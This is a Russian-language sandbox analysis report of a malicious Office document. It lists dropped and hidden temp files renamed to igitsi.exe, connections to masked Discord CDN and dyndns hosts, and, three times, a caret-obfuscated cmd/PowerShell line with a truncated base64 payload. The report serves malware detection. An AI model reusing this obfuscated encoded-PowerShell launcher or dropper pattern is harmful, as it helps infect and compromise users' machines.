Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C Po^w^ERS^hE^ll -E WwBTAFkAUwBUAEUATQAuAFQARQB4AHQALgBlAG4AQwBPAEQAaQBOAEcAXQA6ADoAVQBuAEkAQwBvAGQAZQAuAGcARQB0AHMAVAByAGkATgBnACgAWwBzAFkAcwB0AEUATQAuAGMATwBuAFYAZQByAHQAXQA6ADoAZgByAG8AbQBi...
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{577c7ba6-45e5-4316-b7ad-9635d4b7ff2a}.tmp
- %TEMP%\bit499e.tmp
- %TEMP%\bit493f.tmp
- %TEMP%\bit49be.tmp
- %TEMP%\bit49de.tmp
Присваивает атрибут 'скрытый' для следующих файлов
- %TEMP%\bit499e.tmp
- %TEMP%\bit493f.tmp
- %TEMP%\bit49be.tmp
- %TEMP%\bit49de.tmp
Перемещает следующие файлы
- %TEMP%\bit49be.tmp в %TEMP%\igitsi.exe
- %TEMP%\bit49de.tmp в %TEMP%\igitsi.exe
- %TEMP%\bit493f.tmp в %TEMP%\igitsi.exe
- %TEMP%\bit499e.tmp в %TEMP%\igitsi.exe
Подменяет следующие файлы
- %TEMP%\igitsi.exe
Сетевая активность
Подключается к
- 'cd#.##scordapp.com':443
- 'ch####p.dyndns.org':80
TCP
Другие
- 'cd#.##scordapp.com':443
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK ch####p.dyndns.org
Другое
Создает и запускает на исполнение
- '%TEMP%\igitsi.exe'
- '<SYSTEM32>\cmd.exe' /C Po^w^ERS^hE^ll -E WwBTAFkAUwBUAEUATQAuAFQARQB4AHQALgBlAG4AQwBPAEQAaQBOAEcAXQA6ADoAVQBuAEkAQwBvAGQAZQAuAGcARQB0AHMAVAByAGkATgBnACgAWwBzAFkAcwB0AEUATQAuAGMATwBuAFYAZQByAHQAXQA6ADoAZgByAG8AbQBi...' (со скрытым окном)
Запускает на исполнение
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -E WwBTAFkAUwBUAEUATQAuAFQARQB4AHQALgBlAG4AQwBPAEQAaQBOAEcAXQA6ADoAVQBuAEkAQwBvAGQAZQAuAGcARQB0AHMAVAByAGkATgBnACgAWwBzAFkAcwB0AEUATQAuAGMATwBuAFYAZQByAHQAXQA6ADoAZgByAG8AbQBiAGEAUwBlADYANABzAH...
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
